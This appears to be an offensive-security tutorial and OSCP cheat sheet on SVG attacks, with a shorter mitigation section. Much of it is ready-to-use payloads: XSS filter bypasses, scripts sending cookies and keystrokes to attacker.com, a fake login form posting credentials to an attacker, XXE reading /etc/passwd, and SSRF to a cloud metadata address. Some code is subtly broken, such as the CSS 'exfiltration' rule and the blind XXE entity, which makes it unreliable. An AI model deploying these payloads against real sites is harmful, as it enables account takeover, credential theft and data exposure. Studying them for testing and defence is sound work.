SVG-Based Attacks
Table of Contents
- Introduction to SVG
- Why SVG is Dangerous
- SVG Structure and Anatomy
- SVG XSS Vectors
- SVG Payload Examples
- SVG Upload Vulnerabilities
- Advanced SVG Attack Techniques
- Detection Methodology
- Mitigation Strategies
- OSCP-Specific Tips and Lab Scenarios
- Real-World Case Studies
- Quick Reference Cheat Sheet
1. Introduction to SVG
SVG (Scalable Vector Graphics) is an XML-based vector image format for two-dimensional graphics. Unlike raster images (PNG, JPEG), SVG describes shapes, paths, and text using XML markup, making it resolution-independent and infinitely scalable.
Key Characteristics
| Property | Description |
|---|---|
| Format | XML-based text format |
| Extension | .svg or .svgz (compressed) |
| MIME Type | image/svg+xml |
| Scripting | Supports JavaScript via <script> and event handlers |
| Styling | Supports CSS via <style> and inline attributes |
| Interactivity | Supports animations, transitions, and event handling |
| Embedding | Can be embedded inline, via <img>, <object>, <iframe>, or data URI |
Why SVG Matters for Security
SVG sits at the intersection of image format and executable code. This dual nature creates unique attack vectors:
- Bypasses image filters: Treated as an image by many WAFs and upload filters
- Contains executable code: Can run JavaScript, CSS animations, and DOM manipulation
- XML structure: Inherits XML parsing vulnerabilities (XXE, entity expansion)
- Cross-origin capabilities: Can load external resources and make network requests
2. Why SVG is Dangerous
2.1 XML-Based with Scripting Capabilities
SVG is fundamentally XML, which means it inherits all XML capabilities:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<!-- SVG can contain JavaScript -->
<script type="text/javascript">
alert('XSS via SVG');
</script>
</svg>
Why this is dangerous:
- Browsers parse SVG as XML but render it as a document with full DOM access
- JavaScript in SVG runs in the same context as the hosting page
- No Same-Origin Policy restrictions when the SVG is served from the same domain
2.2 Multiple Embedding Methods
SVG can be embedded in HTML through multiple vectors:
<!-- Method 1: Inline SVG (most dangerous - full DOM access) -->
<svg onload="alert('XSS')">
<circle cx="50" cy="50" r="40" />
</svg>
<!-- Method 2: img tag (external file) -->
<img src="evil.svg" />
<!-- Method 3: Data URI (inline encoded SVG) -->
<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=" />
<!-- Method 4: Object tag -->
<object data="evil.svg" type="image/svg+xml"></object>
<!-- Method 5: iframe -->
<iframe src="evil.svg"></iframe>
<!-- Method 6: CSS background -->
<div style="background: url('evil.svg')"></div>
<!-- Method 7: Link href -->
<link rel="icon" href="evil.svg" />
2.3 Bypasses HTML Filters
Many security filters focus on HTML tags and attributes but ignore SVG:
| Filter Type | What It Blocks | What It Misses |
|---|---|---|
| HTML tag blacklist | <script>, <iframe>, <object> |
<svg>, <foreignObject> |
| Attribute blacklist | onerror, onload on HTML elements |
onload on <svg>, onclick on <circle> |
| Content-Type validation | .html, .php uploads |
.svg uploads (treated as images) |
| WAF rules | Common XSS patterns in HTML | SVG-specific event handlers and constructs |
2.4 Own Event Handlers and Scripting
SVG elements support their own set of event handlers:
<svg>
<!-- SVG-level events -->
<svg onload="alert('loaded')" onclick="alert('clicked')">
<!-- Shape-level events -->
<circle cx="50" cy="50" r="40" onmouseover="alert('hover')" />
<!-- Text events -->
<text x="10" y="20" onclick="alert('text clicked')">Click me</text>
<!-- Animation events -->
<animate attributeName="opacity" from="1" to="0" dur="1s" onend="alert('done')" />
</svg>
</svg>
Complete list of SVG event handlers:
| Event Handler | Trigger |
|---|---|
onload |
SVG document loads |
onclick |
Mouse click |
onmouseover |
Mouse enters element |
onmouseout |
Mouse leaves element |
onmouseenter |
Mouse enters (no bubbling) |
onmouseleave |
Mouse leaves (no bubbling) |
onmousedown |
Mouse button pressed |
onmouseup |
Mouse button released |
onmousemove |
Mouse moves over element |
ondblclick |
Double click |
onfocus |
Element gains focus |
onblur |
Element loses focus |
onkeypress |
Key pressed while focused |
onkeydown |
Key down while focused |
onkeyup |
Key up while focused |
onbegin |
Animation begins |
onend |
Animation ends |
onrepeat |
Animation repeats |
3. SVG Structure and Anatomy
3.1 Basic SVG Structure
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="200"
height="200"
viewBox="0 0 200 200">
<!-- Metadata (optional) -->
<title>My SVG</title>
<desc>A simple SVG graphic</desc>
<!-- Definitions (reusable elements) -->
<defs>
<style>
/* CSS styles */
.red { fill: red; }
</style>
<linearGradient id="grad1">
<stop offset="0%" stop-color="red" />
<stop offset="100%" stop-color="blue" />
</linearGradient>
</defs>
<!-- Graphic elements -->
<rect x="10" y="10" width="180" height="180" fill="url(#grad1)" />
<circle cx="100" cy="100" r="50" class="red" />
<text x="100" y="100" text-anchor="middle">Hello</text>
<!-- Scripting (dangerous!) -->
<script type="text/javascript">
alert('SVG Script');
</script>
</svg>
3.2 Key SVG Elements for Attacks
| Element | Purpose | Attack Potential |
|---|---|---|
<svg> |
Root element | onload event handler |
<script> |
JavaScript execution | Direct code execution |
<foreignObject> |
Embed HTML/XML | Full HTML injection |
<animate> |
Animation | Event-based execution |
<set> |
Attribute animation | Attribute manipulation |
<style> |
CSS styling | CSS-based attacks |
<image> |
External image | External resource loading |
<use> |
Reuse elements | External entity loading |
<a> |
Hyperlink | Navigation/redirection |
3.3 The foreignObject Element
The <foreignObject> element is one of the most powerful SVG attack vectors. It allows embedding arbitrary HTML inside an SVG:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<foreignObject width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<h1>HTML inside SVG!</h1>
<script>alert('XSS via foreignObject');</script>
<iframe src="https://evil.com/steal?cookie="></iframe>
</div>
</foreignObject>
</svg>
Why foreignObject is critical:
- Allows full HTML injection within an SVG context
- Bypasses filters that only check for HTML tags at the document level
- The HTML inside runs with full DOM access
- Supports all HTML elements including
<script>,<iframe>,<form>, etc.
4. SVG XSS Vectors
4.1 Inline SVG with onload
Technique: Embed SVG directly in HTML with an onload event handler.
Payload:
<svg/onload=alert(1)>
Expanded form:
<svg onload="alert(document.cookie)">
<circle cx="50" cy="50" r="40" fill="red" />
</svg>
How it works:
- Browser parses the
<svg>tag as an inline SVG document - When the SVG finishes loading, the
onloadevent fires - JavaScript executes in the context of the current page
Browser support: All modern browsers (Chrome, Firefox, Safari, Edge)
Filter bypass variations:
<!-- No quotes -->
<svg/onload=alert(1)>
<!-- Whitespace variations -->
<svg onload=alert(1)>
<svg onload =alert(1)>
<svg onload= alert(1)>
<!-- Case variations -->
<SVG/ONLOAD=alert(1)>
<Svg OnLoad=alert(1)>
<!-- Tab/newline injection -->
<svg
onload=alert(1)>
<!-- Comment injection -->
<svg<!--comment-->onload=alert(1)>
4.2 SVG in img Tag (External File)
Technique: Host SVG on a server and reference via <img> tag.
evil.svg:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
<rect width="100" height="100" fill="green" />
</svg>
HTML reference:
<img src="http://attacker.com/evil.svg" />
Important notes:
- The
onloadevent fires when the SVG is loaded as an image - Works when the SVG is served with correct MIME type (
image/svg+xml) - Some browsers may restrict scripting in cross-origin SVG images
- Most reliable when SVG is hosted on the same domain
4.3 SVG Data URI
Technique: Embed SVG directly in a URL using data URI scheme.
Base64 encoded:
<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=" />
Decoded SVG:
<svg onload="alert(1)"></svg>
URL-encoded (no base64):
<img src="data:image/svg+xml,%3Csvg%20onload%3D%22alert%281%29%22%3E%3C/svg%3E" />
In JavaScript:
window.location = "data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=";
As CSS background:
body {
background: url("data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=");
}
Encoding the SVG:
# Base64 encode
echo '<svg onload="alert(1)"></svg>' | base64
# Output: PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=
# URL encode
python3 -c "import urllib.parse; print(urllib.parse.quote('<svg onload=\"alert(1)\"></svg>'))"
# Output: %3Csvg%20onload%3D%22alert%281%29%22%3E%3C/svg%3E
4.4 SVG foreignObject (Full HTML Inside SVG)
Technique: Use <foreignObject> to embed complete HTML documents within SVG.
Basic payload:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<foreignObject width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<script>alert('XSS via foreignObject');</script>
</div>
</foreignObject>
</svg>
With iframe injection:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<foreignObject width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<iframe src="javascript:alert('XSS')" width="100%" height="100%"></iframe>
</div>
</foreignObject>
</svg>
With form injection (credential harvesting):
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<foreignObject width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<form action="http://attacker.com/steal" method="POST">
<input type="hidden" name="cookie" value="document.cookie" />
<button type="submit">Click me!</button>
</form>
</div>
</foreignObject>
</svg>
Why this is powerful:
- Complete HTML injection within an SVG context
- Bypasses filters that only scan for HTML at the document root
- The HTML runs with full DOM access and same-origin privileges
- Can include any HTML element: scripts, iframes, forms, objects, etc.
4.5 SVG Script Tag
Technique: Use <script> element directly within SVG.
Basic payload:
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert('XSS via SVG script tag');
</script>
</svg>
With external script:
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript" xlink:href="http://attacker.com/evil.js" />
</svg>
With inline external reference:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script xlink:href="data:text/javascript,alert('XSS')" />
</svg>
Browser behavior:
- Chrome: Executes
<script>in SVG - Firefox: Executes
<script>in SVG - Safari: Executes
<script>in SVG - Edge: Executes
<script>in SVG
4.6 SVG Animate/Animation Attacks
Technique: Use SVG animation elements to trigger JavaScript execution.
Using <animate> with onend:
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" fill="red">
<animate attributeName="width" from="100" to="200" dur="0.1s" fill="freeze" />
</rect>
<script>
setTimeout(function() {
alert('Animation triggered XSS');
}, 200);
</script>
</svg>
Using CSS animations with onanimationend:
<svg xmlns="http://www.w3.org/2000/svg">
<style>
@keyframes xss {
0% { opacity: 1; }
100% { opacity: 0; }
}
.trigger {
animation: xss 0.1s forwards;
}
</style>
<rect class="trigger" width="100" height="100" fill="blue"
onanimationend="alert('CSS animation XSS')" />
</svg>
Using <set> element:
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" fill="green" id="target">
<set attributeName="fill" to="red" begin="0s" />
</rect>
<script>
setTimeout(function() {
document.getElementById('target').setAttribute('onclick', 'alert("set XSS")');
}, 100);
</script>
</svg>
4.7 SVG Set Attribute Manipulation
Technique: Use <set> to dynamically modify SVG attributes, potentially injecting event handlers.
Payload:
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" fill="blue" id="myRect">
<set attributeName="onclick" to="alert('attribute injection')" begin="0s" />
</rect>
</svg>
How it works:
- SVG loads with a
<rect>element - The
<set>animation begins at 0 seconds - The
onclickattribute is set on the rectangle - When user clicks the rectangle, the injected handler executes
Limitations:
- Requires user interaction (click) to trigger
- Some browsers may sanitize attribute values set via
<set> - Less reliable than direct event handlers
5. SVG Payload Examples
5.1 Basic SVG XSS
Minimal payload:
<svg/onload=alert(1)>
With visual content (to avoid detection):
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
<rect width="100" height="100" fill="#4CAF50" />
<text x="50" y="50" text-anchor="middle" fill="white" dy=".3em">Logo</text>
</svg>
Polyglot SVG (works in multiple contexts):
<svg/onload=alert(1)//
5.2 SVG with foreignObject Containing iframes
Basic iframe injection:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<foreignObject width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://attacker.com/phish" width="100%" height="100%" frameborder="0"></iframe>
</div>
</foreignObject>
</svg>
Hidden iframe (invisible to user):
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<foreignObject width="1" height="1">
<div xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://attacker.com/steal?c=" width="0" height="0" style="display:none"></iframe>
<script>
document.querySelector('iframe').src += document.cookie;
</script>
</div>
</foreignObject>
</svg>
Full phishing page:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<foreignObject width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<style>
body { margin: 0; padding: 20px; font-family: Arial; background: #f0f0f0; }
.login-box { background: white; padding: 30px; border-radius: 8px; max-width: 400px; margin: 50px auto; }
input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; }
button { width: 100%; padding: 12px; background: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; }
</style>
<div class="login-box">
<h2>Login Required</h2>
<form action="http://attacker.com/steal" method="POST">
<input type="text" name="username" placeholder="Username" required />
<input type="password" name="password" placeholder="Password" required />
<button type="submit">Login</button>
</form>
</div>
</div>
</foreignObject>
</svg>
5.3 SVG with Embedded Script Tags
Direct script execution:
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
// Steal cookies
new Image().src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
// Keylogger
document.addEventListener('keydown', function(e) {
new Image().src = 'http://attacker.com/keylog?k=' + encodeURIComponent(e.key);
});
// Redirect
// window.location = 'http://attacker.com/phish';
</script>
<rect width="100%" height="100%" fill="transparent" />
</svg>
Beacon with exfiltration:
<svg xmlns="http://www.w3.org/2000/svg">
<script>
(function() {
var data = {
url: location.href,
cookie: document.cookie,
title: document.title,
userAgent: navigator.userAgent
};
var img = new Image();
img.src = 'http://attacker.com/beacon?' + encodeURIComponent(JSON.stringify(data));
})();
</script>
</svg>
DOM Clobbering via SVG:
<svg xmlns="http://www.w3.org/2000/svg">
<script>
// Override window configuration
window['config'] = { debug: true, apiKey: 'stolen-key' };
</script>
</svg>
5.4 SVG Data URI (URL Encoded)
Base64 encoded SVG:
data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=
URL-encoded SVG:
data:image/svg+xml,%3Csvg%20onload%3D%22alert%281%29%22%3E%3C/svg%3E
In various contexts:
<!-- img tag -->
<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=" />
<!-- CSS background -->
<div style="background-image: url('data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=')"></div>
<!-- JavaScript redirect -->
<script>
location.href = "data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=";
</script>
<!-- Anchor tag -->
<a href="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=">Click</a>
<!-- Object tag -->
<object data="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=" type="image/svg+xml"></object>
Encoding tools:
# Python
python3 -c "import base64; print(base64.b64encode(b'<svg onload=\"alert(1)\"></svg>').decode())"
# Linux
echo -n '<svg onload="alert(1)"></svg>' | base64
# PowerShell
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('<svg onload="alert(1)"></svg>'))
5.5 SVG with CSS Animation and onanimationend
Animation-triggered XSS:
<svg xmlns="http://www.w3.org/2000/svg">
<style>
@keyframes trigger {
0% { transform: scale(1); }
100% { transform: scale(1.1); }
}
.animated {
animation: trigger 0.5s ease-in-out;
}
</style>
<rect class="animated" width="100" height="100" fill="red"
onanimationend="alert('Animation XSS')" />
</svg>
Keyframe-based execution:
<svg xmlns="http://www.w3.org/2000/svg">
<style>
@keyframes xss {
from { opacity: 1; }
to { opacity: 1; }
}
</style>
<circle cx="50" cy="50" r="40" fill="blue"
style="animation: xss 0.1s;"
onanimationstart="alert('Animation start XSS')" />
</svg>
Transition-based XSS:
<svg xmlns="http://www.w3.org/2000/svg">
<style>
.hover-target {
transition: fill 0.1s;
}
.hover-target:hover {
fill: red;
}
</style>
<rect class="hover-target" width="100" height="100" fill="green"
ontransitionend="alert('Transition XSS')" />
</svg>
5.6 SVG with Embedded Styles
CSS expression (IE only, legacy):
<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import 'http://attacker.com/evil.css';
</style>
<rect width="100" height="100" fill="blue" />
</svg>
CSS injection via style element:
<svg xmlns="http://www.w3.org/2000/svg">
<style>
/* Steal content via CSS */
body {
background-image: url("http://attacker.com/steal?content=" + document.body.innerText);
}
</style>
<rect width="100" height="100" fill="red" />
</svg>
Note: CSS-based data exfiltration has limited browser support and is more of a theoretical vector.
6. SVG Upload Vulnerabilities
6.1 Why Many Filters Block .html but Allow .svg
Common filter logic:
# Typical vulnerable upload filter
BLOCKED_EXTENSIONS = ['.html', '.htm', '.php', '.jsp', '.asp', '.aspx']
ALLOWED_EXTENSIONS = ['.jpg', '.jpeg', '.png', '.gif', '.svg', '.pdf']
def check_upload(filename):
ext = os.path.splitext(filename)[1].lower()
if ext in BLOCKED_EXTENSIONS:
return False
return True
Why SVG slips through:
| Reason | Explanation |
|---|---|
| Image classification | SVG is classified as an image format, not a script |
| MIME type | image/svg+xml contains “image” in the type |
| Legitimate use cases | Logos, icons, avatars, charts are commonly SVG |
| Filter blindness | Most filters check extension, not content |
| WAF gaps | WAFs focus on HTML/JS, not XML-based attacks |
6.2 SVG as Avatar, Logo, Document Upload
Common upload points for SVG:
| Upload Type | Typical Use Case | Risk Level |
|---|---|---|
| User Avatar | Profile pictures | High (stored XSS) |
| Company Logo | Branding uploads | High (stored XSS) |
| Icon Upload | UI customization | Medium |
| Document Upload | Reports, diagrams | Medium |
| Chart Export | Data visualization | Low-Medium |
| Signature | Email signatures | Medium |
Exploitation scenario - Avatar upload:
- Attacker creates malicious SVG:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
<circle cx="50" cy="50" r="40" fill="blue" />
</svg>
-
Attacker uploads as profile avatar
-
When admin or other users view the attacker’s profile, the SVG renders and executes JavaScript
-
Attacker steals session cookies or performs actions on behalf of the victim
6.3 Detection Methodology
Step 1: Identify upload points
- User profile pages
- Logo upload forms
- Document management systems
- Comment/image upload features
- File attachment systems
Step 2: Test SVG upload
# Create test SVG
echo '<svg onload="alert(1)"></svg>' > test.svg
# Upload via curl
curl -X POST http://target.com/upload \
-F "file=@test.svg" \
-H "Cookie: session=..."
Step 3: Verify rendering
- Check if the uploaded SVG is accessible via URL
- Verify the MIME type is
image/svg+xml - Test if JavaScript executes when the SVG is viewed
Step 4: Test filter bypasses
<!-- Test 1: Basic onload -->
<svg onload="alert(1)"></svg>
<!-- Test 2: Script tag -->
<svg><script>alert(1)</script></svg>
<!-- Test 3: foreignObject -->
<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></div></foreignObject></svg>
<!-- Test 4: Case variation -->
<SVG ONLOAD="alert(1)"></SVG>
<!-- Test 5: Whitespace -->
<svg onload = "alert(1)" ></svg>
<!-- Test 6: No closing tag -->
<svg/onload=alert(1)>
6.4 Real-World Exploitation Scenarios
Scenario 1: Stored XSS via Logo Upload
Target: Corporate intranet with company logo upload
Impact: Admin cookie theft, full account takeover
Steps:
1. Upload malicious SVG as company logo
2. Wait for admin to view settings page
3. JavaScript steals admin's session cookie
4. Attacker uses cookie to access admin panel
Scenario 2: Phishing via Avatar
Target: Social platform with profile pictures
Impact: Credential harvesting from other users
Steps:
1. Create SVG avatar with phishing form inside foreignObject
2. Upload as profile picture
3. When users visit profile, they see fake login form
4. Credentials sent to attacker's server
Scenario 3: Data Exfiltration via Chart Export
Target: Analytics platform with SVG chart export
Impact: Sensitive data extraction
Steps:
1. Inject SVG with script into chart data
2. Export chart as SVG
3. Script exfiltrates visible data to attacker
4. Data collected via beacon requests
7. Advanced SVG Attack Techniques
7.1 SVG XXE (XML External Entity)
Technique: Leverage XML parsing in SVG for XXE attacks.
Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text x="10" y="50">&xxe;</text>
</svg>
Blind XXE via SVG:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/?data=%file:///etc/passwd%">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<image xlink:href="&xxe;" width="1" height="1" />
</svg>
7.2 SVG with External Resource Loading
Load external script:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script xlink:href="http://attacker.com/evil.js" type="text/javascript" />
</svg>
Load external image (SSRF):
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://169.254.169.254/latest/meta-data/" width="1" height="1" />
</svg>
7.3 SVG Polyglots
HTML/SVG/JavaScript polyglot:
";alert(1);//
<svg/onload=alert(1)>
Image/SVG polyglot (GIF89a header + SVG):
GIF89a
<svg/onload=alert(1)>
Note: The GIF header may cause some parsers to treat the file as a GIF, while browsers may still parse the SVG content.
7.4 SVG in JavaScript Contexts
eval-based execution:
eval(atob('PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4='));
innerHTML injection:
document.body.innerHTML += '<svg/onload=alert(1)>';
Document write:
document.write('<svg/onload=alert(1)>');
7.5 SVG with MathML
Technique: Combine SVG with MathML for additional attack surface.
Payload:
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100%" height="100%">
<math xmlns="http://www.w3.org/1998/Math/MathML">
<mtext>
<animate attributeName="xlink:href" to="javascript:alert(1)" />
</mtext>
</math>
</foreignObject>
</svg>
8. Detection Methodology
8.1 Manual Testing Checklist
| Step | Action | Tool |
|---|---|---|
| 1 | Identify all file upload points | Browser inspection |
| 2 | Test SVG upload with benign file | Burp Suite |
| 3 | Test SVG with basic XSS payload | Burp Repeater |
| 4 | Test filter bypass variations | Manual testing |
| 5 | Verify SVG rendering and execution | Browser dev tools |
| 6 | Test stored vs reflected behavior | Multiple requests |
| 7 | Check MIME type handling | Burp Inspector |
| 8 | Test content-type manipulation | Burp Repeater |
8.2 Automated Detection
Nuclei template for SVG upload:
id: svg-xss-upload
info:
name: SVG XSS Upload
author: security-team
severity: high
tags: xss,svg,upload
http:
- method: POST
path:
- "{{BaseURL}}/upload"
body: "------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.svg\"\r\nContent-Type: image/svg+xml\r\n\r\n<svg/onload=alert(1)>\r\n------WebKitFormBoundary--"
headers:
Content-Type: "multipart/form-data; boundary=----WebKitFormBoundary"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "upload successful"
- type: status
status:
- 200
Burp Suite extensions:
- Autorize: Test SVG upload with different authorization levels
- Param Miner: Discover hidden upload parameters
- Hackertarget: Automated XSS testing
8.3 Browser Developer Tools Analysis
Console monitoring:
// Monitor for SVG loading
document.addEventListener('DOMContentLoaded', function() {
var svgs = document.querySelectorAll('svg');
console.log('Found ' + svgs.length + ' SVG elements');
svgs.forEach(function(svg, i) {
console.log('SVG ' + i + ':', svg.outerHTML);
});
});
Network tab filtering:
Filter: type:svg
Filter: mime:image/svg+xml
9. Mitigation Strategies
9.1 Server-Side Protections
1. Block SVG uploads entirely (if not needed):
BLOCKED_EXTENSIONS = ['.html', '.htm', '.php', '.jsp', '.asp', '.svg']
2. Sanitize SVG content:
import re
def sanitize_svg(svg_content):
# Remove script tags
svg_content = re.sub(r'<script[^>]*>.*?</script>', '', svg_content, flags=re.IGNORECASE | re.DOTALL)
# Remove event handlers
svg_content = re.sub(r'\s+on\w+\s*=\s*["\'][^"\']*["\']', '', svg_content, flags=re.IGNORECASE)
svg_content = re.sub(r'\s+on\w+\s*=\s*\S+', '', svg_content, flags=re.IGNORECASE)
# Remove foreignObject
svg_content = re.sub(r'<foreignObject[^>]*>.*?</foreignObject>', '', svg_content, flags=re.IGNORECASE | re.DOTALL)
# Remove style tags
svg_content = re.sub(r'<style[^>]*>.*?</style>', '', svg_content, flags=re.IGNORECASE | re.DOTALL)
return svg_content
3. Use a dedicated SVG sanitizer library:
# Python: svg-sanitize
from svg_sanitize import sanitize
safe_svg = sanitize(malicious_svg)
# Node.js: svg-sanitizer
const svgSanitizer = require('svg-sanitizer');
const safeSvg = svgSanitizer.sanitize(maliciousSvg);
4. Store SVGs separately and serve with proper headers:
location /uploads/svg/ {
types {
image/svg+xml svg;
}
# Add security headers
add_header X-Content-Type-Options nosniff;
add_header Content-Security-Policy "default-src 'none'; img-src 'self';";
}
9.2 Client-Side Protections
Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self';
Note: CSP with script-src 'self' prevents inline SVG scripts from executing.
Sanitize on render:
// DOMPurify for SVG sanitization
import DOMPurify from 'dompurify';
const cleanSVG = DOMPurify.sanitize(dirtySVG, {
USE_PROFILES: { svg: true, svgFilters: true }
});
9.3 Defense in Depth
| Layer | Control | Implementation |
|---|---|---|
| Input | Extension blacklist | Block .svg if not needed |
| Input | Content validation | Parse and validate SVG structure |
| Processing | Sanitization | Remove dangerous elements/attributes |
| Storage | Separate storage | Store SVGs in isolated directory |
| Output | CSP headers | Restrict script execution |
| Output | Type enforcement | Serve with correct MIME type |
| Monitoring | Logging | Log all SVG uploads and accesses |
10. OSCP-Specific Tips and Lab Scenarios
10.1 Common OSCP SVG Scenarios
Scenario 1: File Upload to Stored XSS
Machine: Typical web app with file upload
Vulnerability: Unrestricted SVG upload
Path: Upload SVG -> Stored XSS -> Cookie theft -> Admin access
Steps:
1. Find file upload functionality
2. Upload SVG with XSS payload
3. Access the uploaded SVG URL
4. Steal admin cookie
5. Use cookie to access admin panel
6. Find command execution or credential dump
Scenario 2: SVG Upload to RCE
Machine: Web app with SVG processing
Vulnerability: SVG upload + server-side processing
Path: Upload SVG -> XXE -> File read -> Credential theft -> SSH
Steps:
1. Upload SVG with XXE payload
2. Read /etc/passwd or config files
3. Find database credentials
4. Access database or SSH
5. Privilege escalation
10.2 OSCP Payloads to Memorize
Minimal SVG XSS:
<svg/onload=alert(1)>
SVG with cookie theft:
<svg/onload=new Image().src='http://YOUR_IP:8080/?c='+document.cookie>
SVG with foreignObject:
<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></div></foreignObject></svg>
SVG data URI:
data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=
10.3 Lab Machine Patterns
| Machine Type | SVG Vector | Follow-up |
|---|---|---|
| Web app with upload | Stored XSS via SVG | Cookie theft, admin panel |
| Intranet portal | SVG avatar upload | Admin session hijack |
| Document manager | SVG document upload | XXE, file read |
| Charting platform | SVG export injection | Data exfiltration |
| CMS with media upload | SVG media upload | Stored XSS, RCE |
10.4 Exam Tips
- Always test SVG upload when you find a file upload vulnerability
- Check the response - if the SVG is rendered, test for XSS
- Use Burp Repeater to modify uploaded SVG content
- Try both reflected and stored SVG XSS
- Combine with other techniques - SVG XSS + CSRF = powerful combo
- Document the SVG URL for later access during the exam
- Set up a listener before triggering the SVG XSS:
python3 -m http.server 8080 # or nc -lvnp 8080
10.5 Common Mistakes to Avoid
| Mistake | Correction |
|---|---|
| Forgetting xmlns namespace | Always include xmlns="http://www.w3.org/2000/svg" |
| Not testing foreignObject | Test both direct SVG and foreignObject payloads |
| Ignoring data URI vectors | Test data:image/svg+xml in all contexts |
| Assuming SVG is blocked | Many apps allow SVG by default |
| Not checking MIME type | Verify server returns image/svg+xml |
| Forgetting to URL-encode | Encode special chars in data URIs |
11. Real-World Case Studies
11.1 Slack XSS (2019)
Vulnerability: SVG upload in file sharing feature
Impact: Stored XSS affecting users who viewed malicious files
Payload type: SVG with embedded JavaScript
Lesson: Even major platforms can miss SVG-based XSS
11.2 WordPress SVG Upload
Vulnerability: WordPress allows SVG upload with certain plugins
Impact: Stored XSS on any site using vulnerable plugins
Common plugins affected:
- SVG Support
- Safe SVG (misconfigured)
- Various media upload plugins
Lesson: Plugin security varies; always test SVG upload in WordPress sites
11.3 Jira SVG XSS
Vulnerability: SVG avatar upload in Atlassian Jira
Impact: Admin cookie theft via stored XSS
Lesson: Enterprise applications often have SVG upload for avatars and logos
12. Quick Reference Cheat Sheet
12.1 Payload Quick Reference
<!-- Basic -->
<svg/onload=alert(1)>
<!-- With namespace -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>
<!-- Script tag -->
<svg><script>alert(1)</script></svg>
<!-- foreignObject -->
<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></div></foreignObject></svg>
<!-- Cookie theft -->
<svg/onload=new Image().src='http://ATTACKER/?c='+document.cookie>
<!-- Data URI -->
data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=
<!-- XXE -->
